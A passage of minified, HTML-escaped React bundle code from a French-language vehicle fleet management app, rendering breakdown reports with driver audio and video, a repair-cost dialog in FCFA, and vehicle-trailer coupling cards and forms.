panne&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:$A[ie.type]||$A.Autre})})}),a.jsx(Wv,{type:&quot;breakdown&quot;,data:{immatriculation:ae?.immatriculation}})]}),ie.videoUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;px-4 pb-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(Xu,{className:&quot;h-4 w-4 text-primary&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Vidéo du problème&quot;})]}),a.jsxs(&quot;video&quot;,{controls:!0,className:&quot;w-full rounded-lg&quot;,children:[a.jsx(&quot;source&quot;,{src:ie.videoUrl,type:&quot;video/mp4&quot;}),a.jsx(&quot;source&quot;,{src:ie.videoUrl,type:&quot;video/webm&quot;}),a.jsx(&quot;source&quot;,{src:ie.videoUrl,type:&quot;video/quicktime&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément vidéo.&quot;]})]}),ie.audioUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;px-4 pb-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(F0,{className:&quot;h-4 w-4 text-primary&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Message audio du chauffeur&quot;})]}),a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-10&quot;,children:[a.jsx(&quot;source&quot;,{src:ie.audioUrl,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:ie.audioUrl,type:&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément audio.&quot;]})]}),a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[!Ee.photoUrl&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3 mb-2&quot;,children:a.jsx(XF,{type:ie.type,variant:&quot;breakdown&quot;,size:&quot;md&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:a.jsx(v6,{type:ie.type,variant:&quot;breakdown&quot;,size:&quot;sm&quot;})}),a.jsx(jr,{className:&quot;text-base text-red-900&quot;,children:ie.type}),a.jsx(wn,{className:&quot;mt-1&quot;,children:ae?.immatriculation||`Véhicule #${ie.vehicleId}`})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(N1,{cardData:{type:&quot;breakdown&quot;,title:ie.type,details:{type:ie.type,vehicule:ae?.immatriculation||`Véhicule #${ie.vehicleId}`,date:Wr(new Date(ie.date),&quot;dd/MM/yyyy&quot;,{locale:Hr}),lieu:ie.lieu||void 0,cout:ie.cout?`${ie.cout.toLocaleString()} FCFA`:void 0,description:ie.description||void 0}},size:&quot;sm&quot;}),gt&amp;&amp;a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;default&quot;,onClick:()=&gt;Jt(ie),className:&quot;flex items-center gap-2&quot;,title:&quot;Traiter la panne&quot;,children:[a.jsx(xm,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:&quot;Traiter&quot;})]}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,onClick:()=&gt;Pt(ie.id),className:&quot;h-8 w-8 flex-shrink-0&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})}),a.jsxs(Et,{className:&quot;space-y-2 text-sm md:space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-2 md:gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Date: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Wr(new Date(ie.date),&quot;dd/MM/yyyy&quot;,{locale:Hr})})]}),ie.cout&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Coût: &quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:[ie.cout.toLocaleString(),&quot; FCFA&quot;]})]})]}),ie.lieu&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Lieu: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:ie.lieu})]}),ie.description&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs md:text-sm&quot;,children:ie.description})}),ie.actionReparative&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsxs(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs md:text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Action réparative: &quot;}),ie.actionReparative]})}),a.jsxs(&quot;div&quot;,{className:&quot;pt-2 border-t space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Statut: &quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:ie.status===&quot;resolved&quot;?&quot;bg-green-100 text-green-800 border-green-300&quot;:ie.status===&quot;in_progress&quot;?&quot;bg-blue-100 text-blue-800 border-blue-300&quot;:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;,children:ie.status===&quot;resolved&quot;?&quot;Pris en charge&quot;:ie.status===&quot;in_progress&quot;?&quot;En cours&quot;:&quot;En attente&quot;})]}),ie.responseAudioUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs font-medium&quot;,children:&quot;Réponse du bureau:&quot;}),a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-8&quot;,children:[a.jsx(&quot;source&quot;,{src:ie.responseAudioUrl,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:ie.responseAudioUrl,type:&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément audio.&quot;]}),ie.responseCreatedAt&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Wr(new Date(ie.responseCreatedAt),&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})})]}),(ie.replacedParts||ie.laborCost||ie.totalRepairCost)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs font-medium&quot;,children:&quot;Détails de la réparation:&quot;}),dt(ie.replacedParts),ie.laborCost&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Main d&#039;œuvre:&quot;}),&quot; &quot;,ie.laborCost.toLocaleString(),&quot; FCFA&quot;]}),ie.totalRepairCost&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-xs font-semibold text-primary pt-1 border-t&quot;,children:[&quot;Coût total: &quot;,ie.totalRepairCost.toLocaleString(),&quot; FCFA&quot;]})]})]})]})]},ie.id)})})]}),tt.length===0&amp;&amp;pt.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucune panne trouvée&quot;})})]}),a.jsx(du,{open:i!==null,onOpenChange:()=&gt;s(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la suppression&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir supprimer cette panne ? Cette action est irréversible.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:Kt,children:&quot;Supprimer&quot;})]})]})}),r!==&quot;all&quot;&amp;&amp;a.jsx(np,{onClick:()=&gt;l(!0),label:&quot;Ajouter une panne&quot;}),a.jsx(En,{open:u!==null,onOpenChange:ie=&gt;!ie&amp;&amp;Bt(),children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Traiter la panne&quot;}),a.jsx(Mn,{children:&quot;Répondez au chauffeur, mettez à jour le statut et enregistrez les détails de la réparation (pièces remplacées, main d&#039;œuvre).&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;response-status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:p,onValueChange:ie=&gt;A(ie),children:[a.jsx(Xr,{id:&quot;response-status&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;pending&quot;,children:&quot;En attente&quot;}),a.jsx(Qt,{value:&quot;in_progress&quot;,children:&quot;En cours&quot;}),a.jsx(Qt,{value:&quot;resolved&quot;,children:&quot;Pris en charge&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(Se,{children:&quot;Message vocal (optionnel)&quot;}),!w&amp;&amp;!E&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center space-y-3 p-6 border-2 border-dashed border-muted-foreground/30 rounded-xl&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:He,disabled:!ir,className:&quot;relative w-24 h-24 rounded-full bg-white dark:bg-background border-4 border-primary text-primary flex items-center justify-center shadow-md hover:scale-105 transition-all duration-300 ease-in-out animate-pulse&quot;,children:a.jsx(F0,{className:&quot;h-12 w-12&quot;})}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold text-primary&quot;,children:&quot;Appuie pour parler&quot;}),!ir&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-orange-600 dark:text-orange-400 text-center&quot;,children:&quot;⚠️ L&#039;enregistrement audio nécessite HTTPS ou localhost.&quot;})]}),E&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center space-y-3 p-6 border-2 border-red-500 rounded-xl bg-red-50 dark:bg-red-950/20&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:ce,className:&quot;relative w-28 h-28 rounded-full bg-red-600 text-white flex items-center justify-center shadow-lg ring-4 ring-red-300 dark:ring-red-700 animate-pulse&quot;,children:a.jsx(pg,{className:&quot;h-12 w-12&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-lg font-bold text-red-600 mb-1&quot;,children:Lt(Q)}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Enregistrement en cours...&quot;})]})]}),w&amp;&amp;!E&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-3 p-4 border rounded-xl bg-muted/50&quot;,children:[a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-12&quot;,children:[a.jsx(&quot;source&quot;,{src:w,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:w,type:&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément audio.&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Le,className:&quot;flex-1&quot;,children:[a.jsx(U1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:He,className:&quot;flex-1&quot;,disabled:!ir,children:[a.jsx(gL,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Réenregistrer&quot;]})]})]})]}),(p===&quot;in_progress&quot;||p===&quot;resolved&quot;)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 pt-4 border-t&quot;,children:[a.jsx(Se,{className:&quot;text-base font-semibold&quot;,children:&quot;Traitement de la panne&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(Se,{className:&quot;text-sm&quot;,children:&quot;Pièces remplacées&quot;}),O.length&gt;0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:O.map((ie,ae)=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 p-2 border rounded-lg bg-muted/50&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-sm&quot;,children:ie.name}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[ie.quantity,&quot; × &quot;,ie.unitCost.toLocaleString(),&quot; FCFA = &quot;,(ie.quantity*ie.unitCost).toLocaleString(),&quot; FCFA&quot;]})]}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;sr(ae),className:&quot;h-8 w-8&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]},ae))}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-12 gap-2&quot;,children:[a.jsx(Xe,{placeholder:&quot;Nom de la pièce&quot;,value:X,onChange:ie=&gt;W(ie.target.value),className:&quot;col-span-5&quot;}),a.jsx(Xe,{type:&quot;number&quot;,placeholder:&quot;Qté&quot;,value:G,onChange:ie=&gt;J(ie.target.value),className:&quot;col-span-2&quot;,min:&quot;1&quot;,step:&quot;1&quot;}),a.jsx(Xe,{type:&quot;number&quot;,placeholder:&quot;Coût unitaire (FCFA)&quot;,value:q,onChange:ie=&gt;ee(ie.target.value),className:&quot;col-span-4&quot;,min:&quot;0&quot;,step:&quot;0.01&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;icon&quot;,onClick:tr,className:&quot;col-span-1&quot;,children:a.jsx(Ti,{className:&quot;h-4 w-4&quot;})})]}),O.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-sm font-medium text-right&quot;,children:[&quot;Total pièces: &quot;,xt.toLocaleString(),&quot; FCFA&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;labor-cost&quot;,children:&quot;Coût de la main d&#039;œuvre (FCFA)&quot;}),a.jsx(Xe,{id:&quot;labor-cost&quot;,type:&quot;number&quot;,placeholder:&quot;0&quot;,value:P,onChange:ie=&gt;L(ie.target.value),min:&quot;0&quot;,step:&quot;0.01&quot;})]}),wt&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-3 bg-primary/10 rounded-lg border border-primary/20&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:&quot;Coût total de la réparation:&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-lg font-bold text-primary&quot;,children:[wt.toLocaleString(),&quot; FCFA&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:[xt&gt;0&amp;&amp;a.jsxs(&quot;span&quot;,{children:[&quot;Pièces: &quot;,xt.toLocaleString(),&quot; FCFA&quot;]}),xt&gt;0&amp;&amp;parseFloat(P)&gt;0&amp;&amp;a.jsx(&quot;span&quot;,{children:&quot; + &quot;}),parseFloat(P)&gt;0&amp;&amp;a.jsxs(&quot;span&quot;,{children:[&quot;Main d&#039;œuvre: &quot;,parseFloat(P).toLocaleString(),&quot; FCFA&quot;]})]})]})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:Bt,className:&quot;w-full sm:w-auto&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{onClick:rt,disabled:ne.isResponding,className:&quot;w-full sm:w-auto&quot;,children:ne.isResponding?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Envoi...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(xm,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Envoyer la réponse&quot;]})})]})]})})]})}const P$e={plateau:&quot;Plateau&quot;,citerne:&quot;Citerne&quot;,benne:&quot;Benne&quot;,frigorifique:&quot;Frigorifique&quot;,autre:&quot;Autre&quot;};function Q$e({coupling:e,onDetach:t}){const r=e.vehicle,n=e.trailer,i=n?.photoUrl||(n?.type?tf[n.type]:tf.autre),s=e.startAt?new Date(e.startAt):null,o=s?Wr(s,&quot;dd MMM yyyy&quot;,{locale:Hr}):null;return a.jsx(it,{&quot;data-testid&quot;:`card-coupling-${e.id}`,className:&quot;hover-elevate transition-all duration-200 overflow-hidden&quot;,children:a.jsx(Et,{className:&quot;p-4 md:p-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-center gap-4 md:gap-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted border-2 border-border&quot;,children:[r?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(r.photoUrl)||void 0,alt:`Véhicule ${r.immatriculation}`,className:&quot;w-full h-full object-cover&quot;,onError:l=&gt;{l.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-4xl mb-2&quot;,children:&quot;🚚&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Pas de photo&quot;})]})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:r?.immatriculation||&quot;N/A&quot;})}),(e.chauffeur||e.apprentis&amp;&amp;e.apprentis.length&gt;0)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10 flex flex-col gap-1.5 items-end&quot;,children:[e.chauffeur&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5 bg-background/95 backdrop-blur-sm rounded-full px-1.5 py-0.5 border border-primary/30 shadow-md&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-6 h-6 rounded-full overflow-hidden border border-primary/40 flex-shrink-0&quot;,children:e.chauffeur.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(e.chauffeur.photoUrl)||void 0,alt:`${e.chauffeur.prenom} ${e.chauffeur.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:l=&gt;{l.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-primary/20 flex items-center justify-center text-[10px] font-semibold text-primary&quot;,children:[e.chauffeur.prenom.charAt(0),e.chauffeur.nom.charAt(0)]})}),a.jsx(&quot;span&quot;,{className:&quot;text-[10px] font-semibold text-primary pr-0.5 hidden sm:inline&quot;,children:e.chauffeur.prenom.split(&quot; &quot;)[0]})]}),e.apprentis&amp;&amp;e.apprentis.length&gt;0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-1.5 justify-end max-w-[120px]&quot;,children:e.apprentis.map(l=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5 bg-background/95 backdrop-blur-sm rounded-full px-1.5 py-0.5 border border-border shadow-md&quot;,title:`${l.prenom} ${l.nom}`,children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-6 h-6 rounded-full overflow-hidden border border-border flex-shrink-0&quot;,children:l.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(l.photoUrl)||void 0,alt:`${l.prenom} ${l.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:c=&gt;{c.target.style.display=&quot;none&quot;}}):a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full bg-muted flex items-center justify-center text-[10px] font-semibold text-muted-foreground&quot;,children:[l.prenom.charAt(0),l.nom.charAt(0)]})}),a.jsx(&quot;span&quot;,{className:&quot;text-[10px] font-semibold text-muted-foreground pr-0.5 hidden sm:inline&quot;,children:l.prenom.split(&quot; &quot;)[0]})]},l.id))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,&quot;data-testid&quot;:`text-vehicle-${e.id}`,children:r?.immatriculation}),(r?.marque||r?.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:[r?.marque,&quot; &quot;,r?.modele]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 flex items-center justify-center w-full md:w-auto&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative w-full md:w-32 flex items-center justify-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;hidden md:block w-full h-2 bg-primary/40 rounded-full&quot;}),a.jsx(&quot;div&quot;,{className:&quot;block md:hidden w-2 h-24 bg-primary/40 rounded-full&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 z-10 flex flex-col items-center gap-2&quot;,children:[t?a.jsx(&quot;button&quot;,{onClick:()=&gt;t(e.id),className:&quot;focus:outline-none focus:ring-2 focus:ring-primary focus:ring-offset-2 rounded-md transition-all hover:scale-105 active:scale-95&quot;,&quot;data-testid&quot;:`button-detach-${e.id}`,title:&quot;Cliquer pour détacher l&#039;attelage&quot;,children:a.jsx(yt,{variant:&quot;default&quot;,className:&quot;bg-primary text-primary-foreground px-3 py-1.5 text-xs font-semibold shadow-lg border-2 border-background whitespace-nowrap cursor-pointer hover:bg-primary/90 transition-colors&quot;,children:&quot;🔗 Attelé&quot;})}):a.jsx(yt,{variant:&quot;default&quot;,className:&quot;bg-primary text-primary-foreground px-3 py-1.5 text-xs font-semibold shadow-lg border-2 border-background whitespace-nowrap&quot;,&quot;data-testid&quot;:`badge-coupled-${e.id}`,children:&quot;🔗 Attelé&quot;}),o&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-background/95 backdrop-blur-sm text-xs px-2 py-1 shadow-md border border-border flex items-center gap-1 whitespace-nowrap&quot;,&quot;data-testid&quot;:`badge-start-date-${e.id}`,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),o]})]})]})}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:n?a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted border-2 border-border&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(i)||void 0,alt:`Remorque ${n.numeroChassis}`,className:&quot;w-full h-full object-cover&quot;,onError:l=&gt;{l.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-1 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:n.numeroChassis})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,&quot;data-testid&quot;:`text-trailer-${e.id}`,children:n.numeroChassis}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center md:justify-start gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:P$e[n.type]||n.type}),n.capacite&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[n.capacite,&quot;t&quot;]})]})]})]}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted/50 border-2 border-dashed border-muted-foreground/30&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full flex flex-col items-center justify-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-4xl mb-2 opacity-50&quot;,children:&quot;🚛&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Aucune remorque&quot;})]})}),a.jsx(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucune remorque&quot;})})]})})]})})})}const F$e={plateau:&quot;Plateau&quot;,citerne:&quot;Citerne&quot;,benne:&quot;Benne&quot;,frigorifique:&quot;Frigorifique&quot;,autre:&quot;Autre&quot;};function O$e({open:e,onOpenChange:t,onCreate:r,preselectedVehicleId:n}){const[i,s]=I.useState(n||null),[o,l]=I.useState(null),[c,d]=I.useState(null),[u,h]=I.useState([]),[p,A]=I.useState(&quot;&quot;),[y,v]=I.useState(&quot;&quot;),{data:w=[],isLoading:j}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:E=[],isLoading:S}=cr({queryKey:[&quot;/api/trailers&quot;]}),{data:_=[],isLoading:C}=cr({queryKey:[&quot;/api/crew-members&quot;]}),{data:Q=[]}=pne(),R=_.filter(W=&gt;W.role===&quot;chauffeur&quot;),T=_.filter(W=&gt;W.role===&quot;apprenti&quot;);I.useEffect(()=&gt;{if(e){s(n||null),l(null),d(null),h([]);const W=new Date,G=W.getFullYear(),J=String(W.getMonth()+1).padStart(2,&quot;0&quot;),q=String(W.getDate()).padStart(2,&quot;0&quot;),ee=String(W.getHours()).padStart(2,&quot;0&quot;),ne=String(W.getMinutes()).padStart(2,&quot;0&quot;);A(`${G}-${J}-${q}`),v(`${ee}:${ne}`)}},[e,n]);const M=new Set(Q.map(W=&gt;W.vehicleId)),O=new Set(Q.map(W=&gt;W.trailerId).filter(W=&gt;W!=null)),$=new Set(Q.map(W=&gt;W.chauffeurId).filter(W=&gt;W!=null)),P=new Set(Q.flatMap(W=&gt;W.apprentis||[]).map(W=&gt;W.id).filter(W=&gt;W!=null)),L=W=&gt;{if(W.preventDefault(),!i)return;const G=y?`${p}T${y}`:`${p}T00:00`,J=new Date(G),q={vehicleId:i,trailerId:o||void 0,chauffeurId:c||void 0,apprentiIds:u.length&gt;0?u:void 0,startAt:J};r?.(q),t(!1)},X=j||S||C;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-[700px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Créer un attelage&quot;}),a.jsx(Mn,{children:&quot;Sélectionnez un véhicule et une remorque à atteler ensemble.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:L,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;text-sm font-semibold&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),j?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:w.map(W=&gt;{const G=M.has(W.id),J=i===W.id,q=G;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;!q&amp;&amp;s(W.id),disabled:q,className:`relative p-3 rounded-lg border-2 transition-all text-left ${J?&quot;border-primary bg-primary/5&quot;:q?&quot;border-muted bg-muted/50 opacity-60 cursor-not-allowed&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;}`,&quot;data-testid&quot;:`vehicle-option-${W.id}`,children:[J&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-primary&quot;})}),G&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-orange-100 text-orange-800 border-orange-300&quot;,children:&quot;Déjà attelé&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[W.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden 